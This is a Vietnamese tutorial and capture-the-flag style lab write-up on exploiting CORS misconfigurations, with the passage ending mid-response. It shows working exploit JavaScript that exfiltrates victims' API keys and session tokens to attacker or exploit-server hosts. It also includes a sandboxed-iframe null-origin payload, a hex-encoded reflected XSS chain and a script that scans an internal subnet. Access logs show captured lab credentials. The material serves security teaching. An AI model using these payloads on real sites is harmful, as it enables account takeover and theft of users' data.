Server-generated ACAO Header From Client-specified Origin Header
Một số ứng dụng cấp quyền truy cập cho các origin khác bằng cách truy xuất giá trị của header Origin
và gán vào header Access-Control-Allow-Origin
trong response trả về.
Ví dụ, giả sử có một request gửi đến ứng dụng như sau:
GET /sensitive-victim-data HTTP/1.1
Host: vulnerable-website.com
Origin: https://malicious-website.com
Cookie: sessionId=...
Ứng dụng có thể set giá trị của Access-Control-Allow-Origin
là https://malicious-website.com
và Access-Control-Allow-Credentials
là true
trong response như sau:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://malicious-website.com
Access-Control-Allow-Credentials: true
...
Khi đó, trình duyệt sẽ cho phép origin malicious-website.com
đọc response của vulnerable-website.com
.
Có thể thấy trong cách cấu hình ở trên, bất kỳ origin nào cũng có thể gửi request đến và đọc response từ vulnerable-website.com
. Tồi tệ hơn, nếu response có chứa các thông tin nhạy cảm chẳng hạn như API key hoặc CSRF token thì attacker có thể truy xuất như sau:
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='//malicious-website.com/log?key='+this.responseText;
};
Giải thích đoạn code trên:
- Dòng lệnh
req.open('get','https://vulnerable-website.com/sensitive-victim-data',true);
giúp gửi cross-origin (cũng là cross-site1) request đếnhttps://vulnerable-website.com/sensitive-victim-data
một cách bất đồng bộ (đối số thứ 3 làtrue
). - Dòng lệnh
req.withCredentials = true;
khiến cho trình duyệt đính kèm credentials của người dùng chẳng hạn như cookie. - Hàm
reqListener
gửi toàn bộ response đến origin của attacker. Hàm này được gán cho sự kiệnonload
, xảy ra sau khi có response trả về.
Lab: CORS Vulnerability with Basic Origin Reflection
Mô tả lab:
- Website này cấu hình CORS một cách không bảo mật bởi vì nó tin cậy tất cả các origin.
- Dùng JavaScript để truy xuất API key của admin.
- Tài khoản được cung cấp là
wiener:peter
.
Request truy vấn thông tin cá nhân của người dùng:
GET /my-account?id=wiener HTTP/1.1
Host: 0a38009103dd462b818a4db400120000.web-security-academy.net
Cookie: session=0nOW23yY614xlMJSV9iXgT5KTWOabLPQ
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="124", "Microsoft Edge";v="124", "Not-A.Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a38009103dd462b818a4db400120000.web-security-academy.net/login
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
Priority: u=0, i
Connection: close
Response có đoạn client-side script như sau:
<script>
fetch('/accountDetails', {credentials:'include'})
.then(r => r.json())
.then(j => document.getElementById('apikey').innerText = j.apikey)
</script>
Đoạn script này gửi request đến endpoint /accountDetails
như sau:
GET /accountDetails HTTP/2
Host: 0a38009103dd462b818a4db400120000.web-security-academy.net
Cookie: session=0nOW23yY614xlMJSV9iXgT5KTWOabLPQ
Sec-Ch-Ua: "Chromium";v="124", "Microsoft Edge";v="124", "Not-A.Brand";v="99"
Sec-Ch-Ua-Platform: "Windows"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a38009103dd462b818a4db400120000.web-security-academy.net/my-account?id=wiener
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
Priority: u=1, i
Response có dạng như sau:
HTTP/2 200 OK
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 149
{
"username": "wiener",
"email": "",
"apikey": "pb1Aioo9moteUMpGTi2LI0EVdOjw1dVv",
"sessions": [
"0nOW23yY614xlMJSV9iXgT5KTWOabLPQ"
]
}
Note
Trình duyệt sẽ chặn response ở trên do không có ACAO. Để đọc được nội dung của response như trên thì cần dùng một HTTP client khác trình duyệt chẳng hạn như BurpSuite.
Như vậy, để lấy được API key thì ta cần gửi request đến endpoint /accountDetails
mà có đính kèm cookie.
Xây dựng exploit như sau:
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://LAB_ID.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/log?res='+this.responseText;
};
</script>
Request gửi đi là:
GET /accountDetails HTTP/2
Host: 0a38009103dd462b818a4db400120000.web-security-academy.net
Cookie: session=CvCRLipbYX4DGpaB9Nt9y4HqCVAE7EoU
Sec-Ch-Ua: "Chromium";v="124", "Microsoft Edge";v="124", "Not-A.Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0
Sec-Ch-Ua-Platform: "Linux"
Accept: */*
Origin: https://exploit-0ab0004c03d7dd50809fe81c013000b3.exploit-server.net
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://exploit-0ab0004c03d7dd50809fe81c013000b3.exploit-server.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
Priority: u=1, i
Response có ACAO như sau:
HTTP/2 200 OK
Access-Control-Allow-Origin: https://exploit-0ab0004c03d7dd50809fe81c013000b3.exploit-server.net
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 149
Chuyển giao exploit cho nạn nhân rồi xem access log của exploit server thì có đoạn như sau:
42.112.244.34 2024-04-22 04:30:47 +0000 "GET /deliver-to-victim HTTP/1.1" 302 "user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0"
10.0.4.71 2024-04-22 04:30:47 +0000 "GET /exploit/ HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36"
10.0.4.71 2024-04-22 04:30:47 +0000 "GET /log?res={%20%20%22username%22:%20%22administrator%22,%20%20%22email%22:%20%22%22,%20%20%22apikey%22:%20%22e2jNMqOnyTxNEOACDSPMr5HSdKeigS6O%22,%20%20%22sessions%22:%20[%20%20%20%20%22p3WUtyltN7kg6ObUVLcmBNwYvg1vy69B%22%20%20]} HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36"
API Key sau khi decode là: e2jNMqOnyTxNEOACDSPMr5HSdKeigS6O
.
Errors Parsing Origin Headers
Một số ứng dụng sử dụng whitelist các origin tin cậy. Nếu origin gửi request nằm trong whitelist thì server sẽ reflect origin ở trong ACAO.
Ví dụ, xét request sau:
GET /data HTTP/1.1
Host: normal-website.com
...
Origin: https://innocent-website.com
Giả sử origin ở trên nằm trong whitelist thì nó sẽ được reflect ở trong response của server như sau:
HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://innocent-website.com
Một số ứng dụng cấp quyền truy cập cho tất cả các subdomain của origin (kể cả những subdomain chưa tồn tại) bằng cách so khớp tiền tố hoặc hoặc tố của URL hoặc sử dụng regex. Ví dụ, giả sử ứng dụng cấp quyền truy cập cho tất cả các domain kết thúc bằng:
normal-website.com
Attacker có thể truy cập nếu đăng ký một domain như sau:
hackersnormal-website.com
Tương tự, giả sử ứng dụng cấp quyền truy cập cho tất cả domain bắt đầu bằng:
normal-website.com
Kẻ tấn công có thể truy cập nếu sử dụng domain sau:
normal-website.com.evil-user.net
Whitelisted Null Origin Value
Đặc tả của header Origin
hỗ trợ giá trị null
. Trình duyệt có thể sử dụng giá trị này trong các trường hợp sau:
- Cross-origin redirect.
- Request gửi từ serialized data.
- Request sử dụng giao thức
file:
. - Sandbox cross-origin request.
Một số ứng dụng thêm vào whitelist giá trị null
để hỗ trợ việc phát triển ứng dụng ở local.
Ví dụ, nếu ứng dụng nhận được request sau:
GET /sensitive-victim-data
Host: vulnerable-website.com
Origin: null
Nó sẽ trả về response như sau:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
Trong trường hợp này, attacker có thể tạo ra một cross-origin request mà có Origin
là null
để truy cập vào response. Attacker có thể làm điều này bằng cách dùng thẻ <iframe>
có thuộc tính sandbox
để gửi cross-origin request như sau:
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='malicious-website.com/log?key='+this.responseText;
};
</script>"></iframe>
Thuộc tính sandbox
giúp kiểm soát các ràng buộc đối với nội dung được nhúng bên trong thẻ <iframe>
. Giải thích các giá trị của sandbox
trong đoạn code trên:
allow-scripts
: cho phép chạy script (nhưng không được mở cửa sổ pop-up).allow-top-navigation
: cho phép tài nguyên điều hướng đến top-level browsing context2.allow-forms
: cho phép submit form.
Lab: CORS Vulnerability with Trusted Null Origin
Mô tả lab:
- Lab này có một cấu hình CORS không an toàn vì nó tin cậy
null
origin. - Mục tiêu là xây dựng JavaScript để lấy API key của admin.
- Tài khoản được cung cấp là
wiener:peter
.
API được truy xuất thông qua endpoint /accountDetails
.
Xây dựng exploit như sau:
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://LAB_ID.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://exploit-EXPLOIT_SERVER_ID.exploit-server.net/log?key='+this.responseText;
};
</script>"></iframe>
Access log của exploit server có đoạn như sau:
42.112.244.34 2024-04-22 07:06:23 +0000 "GET /deliver-to-victim HTTP/1.1" 302 "user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0"
10.0.3.47 2024-04-22 07:06:24 +0000 "GET /exploit/ HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36"
10.0.3.47 2024-04-22 07:06:25 +0000 "GET /log?key={%20%20%22username%22:%20%22administrator%22,%20%20%22email%22:%20%22%22,%20%20%22apikey%22:%20%22qjn0wa3pDQ6aiYWtawi8H1VLnO360qWz%22,%20%20%22sessions%22:%20[%20%20%20%20%22MRvjjaTMSVRumPUr2jtNZt2xNV0UiIsc%22%20%20]} HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36"
API key của admin là qjn0wa3pDQ6aiYWtawi8H1VLnO360qWz
.
Exploiting XSS via CORS Trust Relationships
Nếu ứng dụng tin tưởng một origin và origin đó có lỗ hổng XSS thì attacker có thể khai thác để gửi request.
Xét request sau:
GET /api/requestApiKey HTTP/1.1
Host: vulnerable-website.com
Origin: https://subdomain.vulnerable-website.com
Cookie: sessionid=...
Server response như sau:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://subdomain.vulnerable-website.com
Access-Control-Allow-Credentials: true
Nếu kẻ tấn công tìm thấy lỗ hổng XSS ở domain subdomain.vulnerable-website.com
thì có thể lợi dụng để gửi request. Ví dụ:
https://subdomain.vulnerable-website.com/?xss=<script>cors-stuff-here</script>
Breaking TLS with Poorly Configured CORS
Giả sử một ứng dụng HTTPS có một whitelist bao gồm các domain tin cậy nhưng sử dụng HTTP.
Giả sử ứng dụng nhận được request có dạng như sau:
GET /api/requestApiKey HTTP/1.1
Host: vulnerable-website.com
Origin: http://trusted-subdomain.vulnerable-website.com
Cookie: sessionid=...
Và nó phản hồi như sau:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: http://trusted-subdomain.vulnerable-website.com
Access-Control-Allow-Credentials: true
Trong trường hợp này, kẻ tấn công có thể intercept traffic của nạn nhân để xâm phạm sự tương tác của họ với ứng dụng. Các bước khai thác:
- Người dùng gửi một HTTP request.
- Attacker chèn vào một chuyển hướng đến
http://trusted-subdomain.vulnerable-website.com
. - Trình duyệt của người dùng chuyển hướng.
- Attacker intercept response để thêm vào đoạn script gửi request đến
https://vulnerable-website.com
. - Trình duyệt của người dùng thực gửi request từ origin
http://trusted-subdomain.vulnerable-website.com
. - Ứng dụng cho phép request bởi vì origin nằm trong whitelist và trả về response có chứa dữ liệu nhạy cảm ở dạng bản rõ.
Lab: CORS Vulnerability with Trusted Insecure Protocols
Mô tả lab:
- Có một cấu hình CORS không an toàn vì nó tin tưởng tất cả các subdomain mà không quan tâm đến protocol.
- Mục tiêu là xây dựng JavaScript để lấy API key của admin.
- Tài khoản được cung cấp là
wiener:peter
.
API key được truy xuất thông qua request gửi đến endpoint /accountDetails
.
Thử dùng exploit để gửi request có origin là null
:
GET /accountDetails HTTP/2
Host: 0a4500db04a2237f80308f0400280000.web-security-academy.net
Cookie: session=RtgoCRxb0zSLFdsFRNoy9nm1mrGW8Lh6
Sec-Ch-Ua: "Chromium";v="124", "Microsoft Edge";v="124", "Not-A.Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0
Sec-Ch-Ua-Platform: "Linux"
Accept: */*
Origin: null
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
Priority: u=1, i
Response bị trình duyệt chặn lại như sau:
Access to XMLHttpRequest at 'https://0a4500db04a2237f80308f0400280000.web-security-academy.net/accountDetails' from origin 'null' has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource.
Tương tự, exploit gửi từ origin của exploit server cũng bị chặn:
Access to XMLHttpRequest at 'https://0a4500db04a2237f80308f0400280000.web-security-academy.net/accountDetails' from origin 'https://exploit-0acd00b8046023a7801a8ea0011e0000.exploit-server.net' has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource.
Note
Tất nhiên là nếu không sử dụng trình duyệt thì response sẽ không bị chặn, kể cả khi không có ACAO.
Trong trang chi tiết sản phẩm có nút kiểm tra tồn kho (“Check stock”) với event handler cho sự kiện submit
như sau:
<form id="stockCheckForm" action="/product/stock" method="POST">
<input required type="hidden" name="productId" value="5">
<select name="storeId">
<option value="1" >London</option>
<option value="2" >Paris</option>
<option value="3" >Milan</option>
</select>
<button type="submit" class="button">Check stock</button>
</form>
<script>
const stockCheckForm = document.getElementById("stockCheckForm");
stockCheckForm.addEventListener("submit", function(e) {
const data = new FormData(stockCheckForm);
window.open('http://stock.0a4500db04a2237f80308f0400280000.web-security-academy.net/?productId=5&storeId=' + data.get('storeId'), 'stock', 'height=10,width=10,left=10,top=10,menubar=no,toolbar=no,location=no,status=no');
e.preventDefault();
});
</script>
Đoạn script ở trên mở một cửa sổ pop-up và gửi một request đến domain stock.0a4500db04a2237f80308f0400280000.web-security-academy.net
.
Request có dạng như sau:
GET /?productId=5&storeId=1 HTTP/1.1
Host: stock.0a4500db04a2237f80308f0400280000.web-security-academy.net
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
Connection: close
Response có dạng như sau:
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Set-Cookie: session=M53OWcRzwrturTJfJTuXf7VtphSlH27e; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Length: 16
Stock level: 602
Thử tạo ra request đến endpoint /accountDetails
có origin là stock.0a4500db04a2237f80308f0400280000.web-security-academy.net
:
GET /accountDetails HTTP/2
Host: 0a4500db04a2237f80308f0400280000.web-security-academy.net
Cookie: session=RtgoCRxb0zSLFdsFRNoy9nm1mrGW8Lh6
Sec-Ch-Ua: "Chromium";v="124", "Microsoft Edge";v="124", "Not-A.Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0
Sec-Ch-Ua-Platform: "Linux"
Accept: */*
Origin: http://stock.0a4500db04a2237f80308f0400280000.web-security-academy.net
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://exploit-0acd00b8046023a7801a8ea0011e0000.exploit-server.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
Priority: u=1, i
Response có các header sau:
HTTP/2 200 OK
Access-Control-Allow-Origin: http://stock.0a4500db04a2237f80308f0400280000.web-security-academy.net
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 149
Có thể thấy, do stock.0a4500db04a2237f80308f0400280000.web-security-academy.net
là một subdomain của 0a4500db04a2237f80308f0400280000.web-security-academy.net
nên ứng dụng cho phép truy cập vào response.
Ta intercept response của request kiểm tra tồn kho gửi đến origin stock.0a4500db04a2237f80308f0400280000.web-security-academy.net
rồi thêm vào exploit sau:
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://0a4500db04a2237f80308f0400280000.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://exploit-0acd00b8046023a7801a8ea0011e0000.exploit-server.net/log?key='+this.responseText;
};
</script>
Exploit trên sẽ gửi request đến endpoint /accountDetails
của ứng dụng có lỗ hổng CORS từ origin stock.0a4500db04a2237f80308f0400280000.web-security-academy.net
:
GET /accountDetails HTTP/2
Host: 0a4500db04a2237f80308f0400280000.web-security-academy.net
Cookie: session=RtgoCRxb0zSLFdsFRNoy9nm1mrGW8Lh6
Sec-Ch-Ua: "Chromium";v="124", "Microsoft Edge";v="124", "Not-A.Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0
Sec-Ch-Ua-Platform: "Linux"
Accept: */*
Origin: http://stock.0a4500db04a2237f80308f0400280000.web-security-academy.net
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://stock.0a4500db04a2237f80308f0400280000.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
Priority: u=1, i
Response nhận được có các header sau:
HTTP/2 200 OK
Access-Control-Allow-Origin: http://stock.0a4500db04a2237f80308f0400280000.web-security-academy.net
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 149
Có thể thấy, ứng dụng đã cho phép origin stock.0a4500db04a2237f80308f0400280000.web-security-academy.net
đọc response.
Sau khi có response thì exploit chuyển tiếp nó đến exploit server bằng request sau:
GET /log?key={ "username": "wiener", "email": "", "apikey": "cKbhAjvSFQ6nCayRJuKLezX5goTQlcyu", "sessions": [ "RtgoCRxb0zSLFdsFRNoy9nm1mrGW8Lh6" ]} HTTP/2
Host: exploit-0acd00b8046023a7801a8ea0011e0000.exploit-server.net
Sec-Ch-Ua: "Chromium";v="124", "Microsoft Edge";v="124", "Not-A.Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: http://stock.0a4500db04a2237f80308f0400280000.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
Priority: u=0, i
Bằng cách này, ta có thể thu thập được API key của nạn nhân.
Attention
Tuy nhiên, trong lab này, do không thể intercept response của nạn nhân nên ta cần tìm một cách khác để chèn JavaScript vào subdomain.
Thử gửi request đến endpoint /
của origin stock.0a4500db04a2237f80308f0400280000.web-security-academy.net
với giá trị của query param productId
là 1a
thì nhận được response như sau:
HTTP/1.1 400 Bad Request
Content-Type: text/html; charset=utf-8
Set-Cookie: session=fqAHUJFIHUgEcNWZ47rIcGrfi55uMDy9; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Length: 36
<h4>ERROR</h4>Invalid product ID: 1a
Dễ thấy, ta có thể khai thác Reflected XSS trên query param này.
Sử dụng exploit mà ta chèn vào response ở trên làm payload truyền vào query param storeId
:
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://0a4500db04a2237f80308f0400280000.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://exploit-0acd00b8046023a7801a8ea0011e0000.exploit-server.net/log?key='+this.responseText;
};
</script>
URL encode và gửi request với payload trên thì nhận được response như sau:
HTTP/1.1 400 Bad Request
Content-Type: text/html; charset=utf-8
Set-Cookie: session=PFaWtlCR5SGzcNOiFdF2TUBIK6R0jZsw; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Length: 401
<h4>ERROR</h4>Invalid product ID: <script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://0a4500db04a2237f80308f0400280000.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://exploit-0acd00b8046023a7801a8ea0011e0000.exploit-server.net/log?key='+this.responseText;
};
</script>
Có thể thấy, ta đã triển khai reflected XSS thành công.
Xây dựng exploit để gửi request thông qua origin stock.0a4500db04a2237f80308f0400280000.web-security-academy.net
:
<script>
location='http://stock.0a4500db04a2237f80308f0400280000.web-security-academy.net/?productId=%3c%73%63%72%69%70%74%3e%0a%09%76%61%72%20%72%65%71%20%3d%20%6e%65%77%20%58%4d%4c%48%74%74%70%52%65%71%75%65%73%74%28%29%3b%0a%09%72%65%71%2e%6f%6e%6c%6f%61%64%20%3d%20%72%65%71%4c%69%73%74%65%6e%65%72%3b%0a%09%72%65%71%2e%6f%70%65%6e%28%27%67%65%74%27%2c%27%68%74%74%70%73%3a%2f%2f%30%61%34%35%30%30%64%62%30%34%61%32%32%33%37%66%38%30%33%30%38%66%30%34%30%30%32%38%30%30%30%30%2e%77%65%62%2d%73%65%63%75%72%69%74%79%2d%61%63%61%64%65%6d%79%2e%6e%65%74%2f%61%63%63%6f%75%6e%74%44%65%74%61%69%6c%73%27%2c%74%72%75%65%29%3b%0a%09%72%65%71%2e%77%69%74%68%43%72%65%64%65%6e%74%69%61%6c%73%20%3d%20%74%72%75%65%3b%0a%09%72%65%71%2e%73%65%6e%64%28%29%3b%0a%09%0a%09%66%75%6e%63%74%69%6f%6e%20%72%65%71%4c%69%73%74%65%6e%65%72%28%29%20%7b%0a%09%09%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%73%3a%2f%2f%65%78%70%6c%6f%69%74%2d%30%61%63%64%30%30%62%38%30%34%36%30%32%33%61%37%38%30%31%61%38%65%61%30%30%31%31%65%30%30%30%30%2e%65%78%70%6c%6f%69%74%2d%73%65%72%76%65%72%2e%6e%65%74%2f%6c%6f%67%3f%6b%65%79%3d%27%2b%74%68%69%73%2e%72%65%73%70%6f%6e%73%65%54%65%78%74%3b%0a%09%7d%3b%0a%3c%2f%73%63%72%69%70%74%3e&storeId=1'
</script>
Request gửi từ subdomain stock
có dạng như sau:
GET /accountDetails HTTP/2
Host: 0a4500db04a2237f80308f0400280000.web-security-academy.net
Cookie: session=RtgoCRxb0zSLFdsFRNoy9nm1mrGW8Lh6
Sec-Ch-Ua: "Chromium";v="124", "Microsoft Edge";v="124", "Not-A.Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0
Sec-Ch-Ua-Platform: "Linux"
Accept: */*
Origin: http://stock.0a4500db04a2237f80308f0400280000.web-security-academy.net
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://stock.0a4500db04a2237f80308f0400280000.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
Priority: u=1, i
Xem access log của server và thu được đoạn log sau:
42.112.244.34 2024-04-22 10:16:05 +0000 "GET /deliver-to-victim HTTP/1.1" 302 "user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0"
10.0.4.35 2024-04-22 10:16:06 +0000 "GET /exploit/ HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36"
10.0.4.35 2024-04-22 10:16:07 +0000 "GET /log?key={%20%20%22username%22:%20%22administrator%22,%20%20%22email%22:%20%22%22,%20%20%22apikey%22:%20%226jyU3tJQY5isqpv7THG52bzVwnHrRqf0%22,%20%20%22sessions%22:%20[%20%20%20%20%221KdtckCEgkUIJ3i1t2aROsEA8OnPN6oM%22%20%20]} HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36"
API key của admin là 6jyU3tJQY5isqpv7THG52bzVwnHrRqf0
.
Intranets and CORS without Credentials
Xét request sau:
GET /reader?url=doc1.pdf
Host: intranet.normal-website.com
Origin: https://normal-website.com
Các server nội bộ thường cấp quyền truy cập cho tất cả các origin do chúng không thể được truy cập bởi internet:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Nếu có một người dùng nào đó truy cập vào internet thì có thể trở thành proxy giữa server nội bộ và attacker.
Cụ thể, attacker sẽ host mã độc rồi gửi liên kết cho người dùng. Khi người dùng click vào liên kết thì mã độc sẽ gửi request đến server nội bộ và response trả về không bị trình duyệt chặn do ACAO có giá trị là wildcard như trên. Sau đó, response này sẽ được chuyển tiếp đến trang web của attacker.
Lab: CORS Vulnerability with Internal Network Pivot Attack
Mô tả lab:
- Server nội bộ tin cậy tất cả các máy trong cùng hệ thống mạng nên cấu hình CORS có ACAO là wildcard.
- Mục tiêu là xây dựng JavaScript để gửi request đến server nội bộ có IP trong khoảng
192.168.0.0/24
và port là8080
để xóa người dùngcarlos
.
Đầu tiên, ta cần tìm được địa chỉ IP của server nội bộ và response của nó. Sử dụng exploit sau:
<script>
var q = [], collaboratorURL = 'https://$collaboratorPayload';
for(i=1;i<=255;i++) {
q.push(function(url) {
return function(wait) {
fetchUrl(url, wait);
}
}('http://192.168.0.'+i+':8080'));
}
for(i=1;i<=20;i++){
if(q.length)q.shift()(i*100);
}
function fetchUrl(url, wait) {
var controller = new AbortController(), signal = controller.signal;
fetch(url, {signal}).then(r => r.text().then(text => {
location = collaboratorURL + '?ip='+url.replace(/^http:\/\//,'')+'&code='+encodeURIComponent(text)+'&'+Date.now();
}))
.catch(e => {
if(q.length) {
q.shift()(wait);
}
});
setTimeout(x => {
controller.abort();
if(q.length) {
q.shift()(wait);
}
}, wait);
}
</script>
Giải thích đoạn script trên:
- Vòng lặp đầu tiên sử dụng closure function với tham số là
url
để tạo ra một hàm khác và cho vào mảngq
. Đối số củaurl
là các địa chỉ IP192.168.0.i:8080
vớii
chạy từ 1 đến 255. - Vòng lặp thứ hai lặp qua 20 hàm đầu tiên trong
q
và thực thi chúng với đối số củawait
lài * 100
vớii
chạy từ 1 đến 20. - Hàm
fetchUrl
sử dụng Fetch API để gửi request đến các IP truyền vào tham sốurl
. - Sau khi có response từ request trên thì script sẽ chuyển hướng trình duyệt đến exploit server hoặc Collaborator có URL là
collaboratorURL
kèm theo response (text
). - Nếu có lỗi xảy ra hoặc quá thời gian timeout (
wait
) thì hàm tiếp theo ở trongq
sẽ được thực thi.
Collaborator nhận được request sau:
GET /?ip=192.168.0.169:8080&code=<!DOCTYPE html>
<html>
<head>
<link href=/resources/labheader/css/academyLabHeader.css rel=stylesheet>
